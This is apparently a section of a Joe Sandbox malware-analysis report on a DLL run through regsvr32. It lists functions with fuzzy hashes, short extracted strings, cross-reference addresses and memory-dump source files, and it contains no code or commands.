Opcode Fuzzy Hash: 259697ebe02e240ff157c8cb6796f3c563015099138ecee0effd1804923e127d
Instruction Fuzzy Hash: 4E02F470A0470DEFDB99DF68C089A8EBBF1FB48344F40856AE809EB250D7749A59CB45

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000E130 Relevance: 6.6, Strings: 5, Instructions: 305COMMON

Download Yara Rule

Strings

h9&, xrefs: 000000018000E1D6
\=V, xrefs: 000000018000E457
5Z3, xrefs: 000000018000E36F
n", xrefs: 000000018000E164
wPT, xrefs: 000000018000E274

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: \=V$h9&$n"$wPT$5Z3
API String ID: 0-226182706
Opcode ID: ce1cfba10c1d8d8dcb7fefef68f5dbb71196a1667c8063e3a43dba33cd0a9cce
Instruction ID: 86bcb4527d36acdb60297ed143c12856cad003a08b6179b63c097fe4f6929213
Opcode Fuzzy Hash: ce1cfba10c1d8d8dcb7fefef68f5dbb71196a1667c8063e3a43dba33cd0a9cce
Instruction Fuzzy Hash: F7E11871A0468C8BDF59CFE8C48ABDDBBF2FB54348F004129D906BB298D774951ACB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180013994 Relevance: 6.5, Strings: 5, Instructions: 278COMMON

Download Yara Rule

Strings

5.A, xrefs: 0000000180013AB3
|, xrefs: 0000000180013DF6
2k, xrefs: 0000000180013C87
h, xrefs: 0000000180013BB0
Tv, xrefs: 0000000180013B60

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 2k$5.A$h$Tv$|
API String ID: 0-899094025
Opcode ID: db2f60ac8ea9c811a7e8a42be398396c7662d8ce257af2786f0ca87739e0812c
Instruction ID: fdc8e1fcc57a9d708ca924da4610569f3fbcb91b13fa75a00635c4e08a114872
Opcode Fuzzy Hash: db2f60ac8ea9c811a7e8a42be398396c7662d8ce257af2786f0ca87739e0812c
Instruction Fuzzy Hash: 2CE1B2B190474C8FDB69CFA8C48969DBFF1FB48348F20421DE869AB262D7749945CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001A10C Relevance: 6.5, Strings: 5, Instructions: 210COMMON

Download Yara Rule

Strings

TaK, xrefs: 000000018001A1B7
h, xrefs: 000000018001A205
_, xrefs: 000000018001A296
`H, xrefs: 000000018001A2CF
T, xrefs: 000000018001A166

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: `H$h$T$TaK$_
API String ID: 963392458-2145750592
Opcode ID: ffc2d6b317b26a71c8140759e67952dd965db1d69b0c3f8b48f7c1dc501504e9
Instruction ID: 3659a6701c3bc18b063cae63192a65d6a0dab5b7a081606fb1710f1fc1c5873b
Opcode Fuzzy Hash: ffc2d6b317b26a71c8140759e67952dd965db1d69b0c3f8b48f7c1dc501504e9
Instruction Fuzzy Hash: 8FA10771D087188FDB68DFA9D8856CDBBF1FB48308F20421DE45AA7252DB70A945CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002975C Relevance: 5.5, Strings: 4, Instructions: 484COMMON

Download Yara Rule

Strings

L>yL, xrefs: 0000000180029A5A
^K, xrefs: 0000000180029AD7
{NC, xrefs: 0000000180029C32
Bwu, xrefs: 0000000180029EFD

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Bwu$L>yL${NC$^K
API String ID: 0-3175627499
Opcode ID: 50b0aea139128d6f7c402ec74795df524ca4165021b819f0d064fd60e31d3d12
Instruction ID: fbf4dbbb098cc7df43bbc7889590cb4d1f5602d02220e4776b40022e4a41187c
Opcode Fuzzy Hash: 50b0aea139128d6f7c402ec74795df524ca4165021b819f0d064fd60e31d3d12
Instruction Fuzzy Hash: 13322B70908B488FE769CF78C48665EBBF0FB84748F204A1DE6A697270DB749945CF42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180021738 Relevance: 5.5, Strings: 4, Instructions: 483COMMON

Download Yara Rule

Strings

N'}, xrefs: 0000000180021C2C
dS, xrefs: 0000000180021E7D
%, xrefs: 00000001800220F1
Od^v, xrefs: 0000000180021933

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %$N'}$Od^v$dS
API String ID: 0-4183360357
Opcode ID: 3e0f3c17ca57f4ad1f3f1084ac04447848ab7be5cba89c2bccd8803fee9248a0
Instruction ID: 281f3f4e81126c35bb2be7146c604e5ee0be10d432db17f45780181539d507de
Opcode Fuzzy Hash: 3e0f3c17ca57f4ad1f3f1084ac04447848ab7be5cba89c2bccd8803fee9248a0
Instruction Fuzzy Hash: 3342D9B190438C8BDBB8CF64C8896DD7BF1FB48318F50852DDA199B251DBB05685CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800252C0 Relevance: 5.3, Strings: 4, Instructions: 285COMMON

Download Yara Rule

Strings

+Gq, xrefs: 0000000180025679
__Z%, xrefs: 000000018002535D
|deb, xrefs: 000000018002537F
sH, xrefs: 00000001800254B9

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: +Gq$__Z%$|deb$sH
API String ID: 0-2072550713
Opcode ID: 094eb7f958d011cdb8ce81038bafb84045d4698861e966cd2ff6582630ea1e3f
Instruction ID: 26b4cb1fb47336c1432c1659c452027cf20818b998f95a2bcb6bb32f36742f2f
Opcode Fuzzy Hash: 094eb7f958d011cdb8ce81038bafb84045d4698861e966cd2ff6582630ea1e3f
Instruction Fuzzy Hash: 0FD1137160270DCBDB68DF28C68A6DE3BE1FF48308F504129FC5A96262D774D929CB49

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000403C Relevance: 5.3, Strings: 4, Instructions: 279COMMON

Download Yara Rule

Strings

xX, xrefs: 0000000180004380
8r, xrefs: 000000018000410D
5P, xrefs: 00000001800044DE
:=, xrefs: 000000018000423F

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 5P$8r$:=$xX
API String ID: 0-2901174047
Opcode ID: 6865726b2104b4eb7ff299f8486c8d696ddfefbd7c25c2068e726a6c762a58db
Instruction ID: 9c4e4b6ab2cee8fe4f9bfbf45665c48137a45671121b1b9ae43ff9fbf3dba1fc
Opcode Fuzzy Hash: 6865726b2104b4eb7ff299f8486c8d696ddfefbd7c25c2068e726a6c762a58db
Instruction Fuzzy Hash: 35E1357191034D9BCB88DF64C8899DD7BF1FB48398F516219FC4AAB260C7789585CF88

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180019178 Relevance: 5.3, Strings: 4, Instructions: 258COMMON

Download Yara Rule

Strings

WW, xrefs: 0000000180019528
&, xrefs: 0000000180019348
Ro, xrefs: 0000000180019427
X|, xrefs: 000000018001950F

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: &$Ro$X|$WW
API String ID: 0-419055892
Opcode ID: ca40c88e9c0bb890938dc8e49850b9c6f80446ec0944c9f0783c0d192955d258
Instruction ID: 8aa2c3e6b8818245adabd520600babaa531b4d52059a868131a34f3b668756e0
Opcode Fuzzy Hash: ca40c88e9c0bb890938dc8e49850b9c6f80446ec0944c9f0783c0d192955d258
Instruction Fuzzy Hash: 1EC1FDB150570DCBDB68CF28C58A6DE3BE5FB48308F108129FC5A9B2A0D774EA59CB45

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001F0A8 Relevance: 5.2, Strings: 4, Instructions: 246COMMON

Download Yara Rule

Strings

tR, xrefs: 000000018001F405
tR, xrefs: 000000018001F0FE
uxX4, xrefs: 000000018001F1AC
6), xrefs: 000000018001F229

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: tR$tR$uxX4$6)
API String ID: 0-566208085
Opcode ID: c081e77f49af2eaf56923f63e50e632cb9bf55942161f3f8d2179c3bd288189e
Instruction ID: 21dbc208fb27f88b672f000d339ef1a4b78a4386f06e48fd8b1f03ba1e8317ad
Opcode Fuzzy Hash: c081e77f49af2eaf56923f63e50e632cb9bf55942161f3f8d2179c3bd288189e
Instruction Fuzzy Hash: 84D1E5705087CC8BDBFEDF68C8857DA7BA8FB44748F104219EA0A9E269CB745749CB41

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180018BDC Relevance: 5.2, Strings: 4, Instructions: 245COMMON

Download Yara Rule

Strings

`by, xrefs: 0000000180018DC2
K-~, xrefs: 0000000180018C6B
57, xrefs: 0000000180018BFC
7|, xrefs: 0000000180018F55

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 57$7|$K-~$`by
API String ID: 0-1764728439
Opcode ID: 3d75101ad2ff9bc1d340fad9c74c74685bf15c99ef7bfcf0826df8ee18983ab7
Instruction ID: 0ef0f182f1da72c174031fc5be9a225670cb57be642fb1d84f9edf9d7426cf45
Opcode Fuzzy Hash: 3d75101ad2ff9bc1d340fad9c74c74685bf15c99ef7bfcf0826df8ee18983ab7
Instruction Fuzzy Hash: 5EC1227510160CCBDBA8DF38C48A6DD3BE1FF58308F605129FC2A9A266C7B4D959CB44

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000B350 Relevance: 5.2, Strings: 4, Instructions: 243COMMON

Download Yara Rule

Strings

DgQ, xrefs: 000000018000B714
"*, xrefs: 000000018000B6F1
#X, xrefs: 000000018000B6A4
6i, xrefs: 000000018000B5D1

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$"*$DgQ$6i
API String ID: 0-2770996495
Opcode ID: 820f3a7f2831d7bc6be119a51f5435b60720529f940ec106d6c272ece28fcda8
Instruction ID: 504b32a01a029d54a9cc7c4b79b1c57dce6396aa3b2efbc72770fc67d95dc726
Opcode Fuzzy Hash: 820f3a7f2831d7bc6be119a51f5435b60720529f940ec106d6c272ece28fcda8
Instruction Fuzzy Hash: CCB10871A0870CABDFA9DFA8E4896DDBBF1FB44344F00451DE446A7290DB749A0ECB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180028998 Relevance: 5.2, Strings: 4, Instructions: 216COMMON

Download Yara Rule

Strings

O:M, xrefs: 0000000180028A0E
iJ"], xrefs: 0000000180028B69
p, xrefs: 0000000180028A07
p, xrefs: 00000001800289F5

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: O:M$iJ"]$p$p
API String ID: 0-2745201584
Opcode ID: c580725723075c93842e669fadfa9b9fa9ca71e2e3fa7497301af4adcf51def7
Instruction ID: 8b688321e04c0e646b0fc78ee6d67cd940f90a9f6723fb1f8222d7259e9641f4
Opcode Fuzzy Hash: c580725723075c93842e669fadfa9b9fa9ca71e2e3fa7497301af4adcf51def7
Instruction Fuzzy Hash: 8AB10070D143098BCB89DFA8D486AEEBBF0FB48304F14851EE856B7250D7749A44CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D25E01 Relevance: 5.2, Strings: 4, Instructions: 178COMMON

Download Yara Rule

Strings

HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 000007FEF9D25EF9
%hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d)., xrefs: 000007FEF9D2617C
HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d)., xrefs: 000007FEF9D260C7
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 000007FEF9D25FE7

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID:
String ID: %hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d).
API String ID: 0-1867057952
Opcode ID: 2a9d8457aa34911385b660402f71547a5181f90184c5f28ce50b42f7ee7f8c58
Instruction ID: 7eafebeb16ca57a5525b51ed0f378306bc52b64ad103bedb915b9118f6e813be
Opcode Fuzzy Hash: 2a9d8457aa34911385b660402f71547a5181f90184c5f28ce50b42f7ee7f8c58
Instruction Fuzzy Hash: 1A810C36A18B4586DB94CF59E49072EB7A0F3C4794F610526EACD87BA8DBBED441CB00

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180016AF4 Relevance: 5.1, Strings: 4, Instructions: 143COMMON

Download Yara Rule

Strings

8(', xrefs: 0000000180016CE5
OG3, xrefs: 0000000180016D08
6fA, xrefs: 0000000180016CBF
9\D, xrefs: 0000000180016BDC

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 8('$6fA$9\D$OG3
API String ID: 0-2292045659
Opcode ID: 075f2f4683c67ac2050461b4b976e23f7824189084b04fb6fcbf6660b49be205
Instruction ID: ef0df636cc5d4b1adb12f513697d006f7e6ff77cbfd46ce7bca5e6c4611c7a17
Opcode Fuzzy Hash: 075f2f4683c67ac2050461b4b976e23f7824189084b04fb6fcbf6660b49be205
Instruction Fuzzy Hash: 6E8166B591130DCFDB98CF28C18A5CA3BA8FF55318F00412AFC1E9A264D3B4E959CB46

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001370C Relevance: 5.1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

Strings

ows\system32\RPCRT4.dll, xrefs: 0000000180013730, 000000018001382E
R3, xrefs: 0000000180013876
$q~, xrefs: 0000000180013787
%s, xrefs: 0000000180013864

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: $q~$%s$R3$ows\system32\RPCRT4.dll
API String ID: 0-3201263349
Opcode ID: 3d3ced99ac42584346b8bad3007d62ef26daa4ae2805a0976e45a495c47b2b96
Instruction ID: 49708784934b6f27b099c9a4c0d62a5c340693359db0e98dd39e1096da177659
Opcode Fuzzy Hash: 3d3ced99ac42584346b8bad3007d62ef26daa4ae2805a0976e45a495c47b2b96
Instruction Fuzzy Hash: 2D414870508784DBD398CF18C0DA65EBBF1FB853A4FA0691DF583862A4DB75D9898B03

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180020AA0 Relevance: 5.1, Strings: 4, Instructions: 79COMMON

Download Yara Rule

Strings

w4, xrefs: 0000000180020B7E
IzY, xrefs: 0000000180020AE3
!j, xrefs: 0000000180020B50
0Oa, xrefs: 0000000180020BBD

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: !j$IzY$w4$0Oa
API String ID: 0-1210086663
Opcode ID: d22984424f9e842513d0b81fbf00519d97f66b1438588327bee25b78db1a615b
Instruction ID: d6ae16ce1753066c3a100fad89cd7b933425bd3752a83aacc50f13ca8011d066
Opcode Fuzzy Hash: d22984424f9e842513d0b81fbf00519d97f66b1438588327bee25b78db1a615b
Instruction Fuzzy Hash: 4E41CFB090034E8BCF88CF65C48A5DE7FB0FB68358F104619E916A6250D7B896A9CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002AF38 Relevance: 4.1, Strings: 3, Instructions: 363COMMON

Download Yara Rule

Strings

>q, xrefs: 000000018002B2D9
!fl, xrefs: 000000018002B3C2
>q, xrefs: 000000018002B162

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: !fl$>q$>q
API String ID: 0-3196423155
Opcode ID: dccb224850b43dda665c2028c8e90cf7ac528c4769e1ed18f59b4bae66e0f67a
Instruction ID: 6e0169028e0bb78a63dbed9d1dbc36ce20ef11fe4735bb4ca27ada0b4c61fd75
Opcode Fuzzy Hash: dccb224850b43dda665c2028c8e90cf7ac528c4769e1ed18f59b4bae66e0f67a
Instruction Fuzzy Hash: 18022574A0670CDBCBA9CFA8E48A69DBBF1FF14388F104119F816A7261C7B49919CB45

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180006B24 Relevance: 4.0, Strings: 3, Instructions: 284COMMON

Download Yara Rule

Strings

C2, xrefs: 0000000180006EBC
HG, xrefs: 0000000180006E14
"Gd, xrefs: 0000000180006E8F

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: "Gd$C2$HG
API String ID: 0-142661339
Opcode ID: 9dab0733114c64659f8f05551e608b0018560ea730d37400ebf1bc7fe80e5bb8
Instruction ID: f3040b85d87bafdcd4b0814e46a5c4b4479db0c4bbfe4c952327208bca537128
Opcode Fuzzy Hash: 9dab0733114c64659f8f05551e608b0018560ea730d37400ebf1bc7fe80e5bb8
Instruction Fuzzy Hash: 20C112719047CD8FDB89CFA8C88A6ED7BB1FB48354F104229F80697660DBB4D949CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180023624 Relevance: 4.0, Strings: 3, Instructions: 282COMMON

Download Yara Rule

Strings

QZB, xrefs: 0000000180023706
Vu9(, xrefs: 0000000180023B25
W1Z, xrefs: 0000000180023A69

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: QZB$Vu9($W1Z
API String ID: 0-4157987319
Opcode ID: 1f5c37778751f5a7f2813f46734b265b9b5d3f173c04e1f04c47467fdefc8410
Instruction ID: f699ba934c7511d53ebf66ced97cbd47477d8f387fb8544ab73dfc8f8e8f4cc9
Opcode Fuzzy Hash: 1f5c37778751f5a7f2813f46734b265b9b5d3f173c04e1f04c47467fdefc8410
Instruction Fuzzy Hash: 7DE1E870505B888FDBB9DF24CC897EBBBE1FB84705F10551EE84A9A290DBB49648CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000A26C Relevance: 4.0, Strings: 3, Instructions: 277COMMON

Download Yara Rule

Strings

1c+, xrefs: 000000018000A683
#X, xrefs: 000000018000A546
,p, xrefs: 000000018000A3A5

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$1c+$,p
API String ID: 0-4193689514
Opcode ID: 870c2a5dff4c858b49c61e00ad2e43c057056019502a976b576cc033676d3952
Instruction ID: a14642629d5f8cbd2a1e8fb09d7711f81952208659678b8c12dc59c418106fb0
Opcode Fuzzy Hash: 870c2a5dff4c858b49c61e00ad2e43c057056019502a976b576cc033676d3952
Instruction Fuzzy Hash: A0F166B5906749CFCB88DF68C28A58D7BF1BF59304F404129FC1A9A260D3B4E529CB49

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180018628 Relevance: 4.0, Strings: 3, Instructions: 203COMMON

Download Yara Rule

Strings

:a, xrefs: 000000018001871C
F, xrefs: 00000001800186FC
o1, xrefs: 0000000180018668

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: :a$o1$F
API String ID: 0-2167756397
Opcode ID: 1dc69b1f9148db4d8f727193868d76463b7f9b687988be903e8d180db9dc4b1f
Instruction ID: c7b3f013bdef5c33efa64e5817367d2177fa9b070e37e7fa0e85b95e6b1d5a97
Opcode Fuzzy Hash: 1dc69b1f9148db4d8f727193868d76463b7f9b687988be903e8d180db9dc4b1f
Instruction Fuzzy Hash: 24A10170514609DFCB98DF28C58A6DE3BE1FF58318F40822AFC0A9B264C774DA58DB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180008C9C Relevance: 3.9, Strings: 3, Instructions: 186COMMON

Download Yara Rule

Strings

"7F, xrefs: 0000000180008FC6
hso, xrefs: 0000000180009054
|, xrefs: 0000000180008E82

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: "7F$hso$|
API String ID: 0-2223032787
Opcode ID: a1c5852e2975669cd72ae99173752b080c1a60bb39e1eda62f5b8b24312d50f2
Instruction ID: 597be8bf6f8274430a7b1b716aee764a508e33f64a18c5174bbc12e988f7dea5
Opcode Fuzzy Hash: a1c5852e2975669cd72ae99173752b080c1a60bb39e1eda62f5b8b24312d50f2
Instruction Fuzzy Hash: CDA1E7716057888FEB7ADF64C8AA7DE7BA1FF59308F40461DD98E8E250C7B45608CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800090B4 Relevance: 3.9, Strings: 3, Instructions: 158COMMON

Download Yara Rule

Strings

eG, xrefs: 00000001800090E5
l$6, xrefs: 0000000180009270
ktw, xrefs: 00000001800091B2

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: eG$ktw$l$6
API String ID: 0-3696190584
Opcode ID: cfb728ef8011932e57c4461def4d81df8b30877acb09ef5991ab02cb5d25377a
Instruction ID: ec7ece3e5b0c03f4df558a0a1733d02cea5b85f33e09dae2f6683fda9d55fcb2
Opcode Fuzzy Hash: cfb728ef8011932e57c4461def4d81df8b30877acb09ef5991ab02cb5d25377a
Instruction Fuzzy Hash: E47114B0509708EFCB98DF68C089A9E7BB1FB88344F40C52EE849DB264C775DA19CB45

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180004B18 Relevance: 3.9, Strings: 3, Instructions: 148COMMON

Download Yara Rule

Strings

Z9s, xrefs: 0000000180004C94
6qp, xrefs: 0000000180004CB3
%Di|, xrefs: 0000000180004BAF

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %Di|$6qp$Z9s
API String ID: 0-2690900941
Opcode ID: 036a56b574e0cc9d8bbe6e2c16f1c72bf3a7a337ff5cb561951f94e63896fd73
Instruction ID: 2c0d7369d6c4e2fe59306caeaa3cf354025216a739d91ba443ab140e2def37b4
Opcode Fuzzy Hash: 036a56b574e0cc9d8bbe6e2c16f1c72bf3a7a337ff5cb561951f94e63896fd73
Instruction Fuzzy Hash: 9C61257191070C9BCB88CF24C8C96DE7BB1FB483A8F556219FC0AAA294C7749985CF84

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015774 Relevance: 3.9, Strings: 3, Instructions: 143COMMON

Download Yara Rule

Strings

n?,#, xrefs: 0000000180015826
les=C:\Program Files\Common Files, xrefs: 00000001800157F0, 00000001800158CC
ws\system;C:\Windows;, xrefs: 00000001800157DE, 00000001800159FA

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: les=C:\Program Files\Common Files$n?,#$ws\system;C:\Windows;
API String ID: 0-2506413598
Opcode ID: 26b976f19a01f89e53d4e797cc3bc9c5337180b5ac8f28c70c7e0350769e597c
Instruction ID: 565b854ac311e8ede55e0f860d8d3b50ebc6ea35409b62ec986654d35b43713b
Opcode Fuzzy Hash: 26b976f19a01f89e53d4e797cc3bc9c5337180b5ac8f28c70c7e0350769e597c
Instruction Fuzzy Hash: 4461F97054878DCBEBBADE38C8897D937B0FB48344F908529E94E8E290DB749A458B45

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180007678 Relevance: 3.9, Strings: 3, Instructions: 140COMMON

Download Yara Rule

Strings

Fl, xrefs: 0000000180007874
vv5, xrefs: 000000018000780B
Fl, xrefs: 000000018000787C

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Fl$Fl$vv5
API String ID: 0-3053741108
Opcode ID: 56c6ca64a2739fcec8bf5f3302d493d90fa60cbb6fd5cd63e6a43fd0d8d3c1f6
Instruction ID: 55f6967587c9a541224425d329b03615816d53db549f94b6db3b05c8e91cbb03
Opcode Fuzzy Hash: 56c6ca64a2739fcec8bf5f3302d493d90fa60cbb6fd5cd63e6a43fd0d8d3c1f6
Instruction Fuzzy Hash: FC511A70E4870CAFDB69DFA8E0866DDBBF1FB58344F004519E40AE7291DB74990ACB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180016DA8 Relevance: 3.9, Strings: 3, Instructions: 133COMMON

Download Yara Rule

Strings

H8, xrefs: 0000000180016F99
nn, xrefs: 0000000180016DF3
nn, xrefs: 0000000180017044

Memory Dump Source

Source File: 00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: H8$nn$nn
API String ID: 0-4263809824
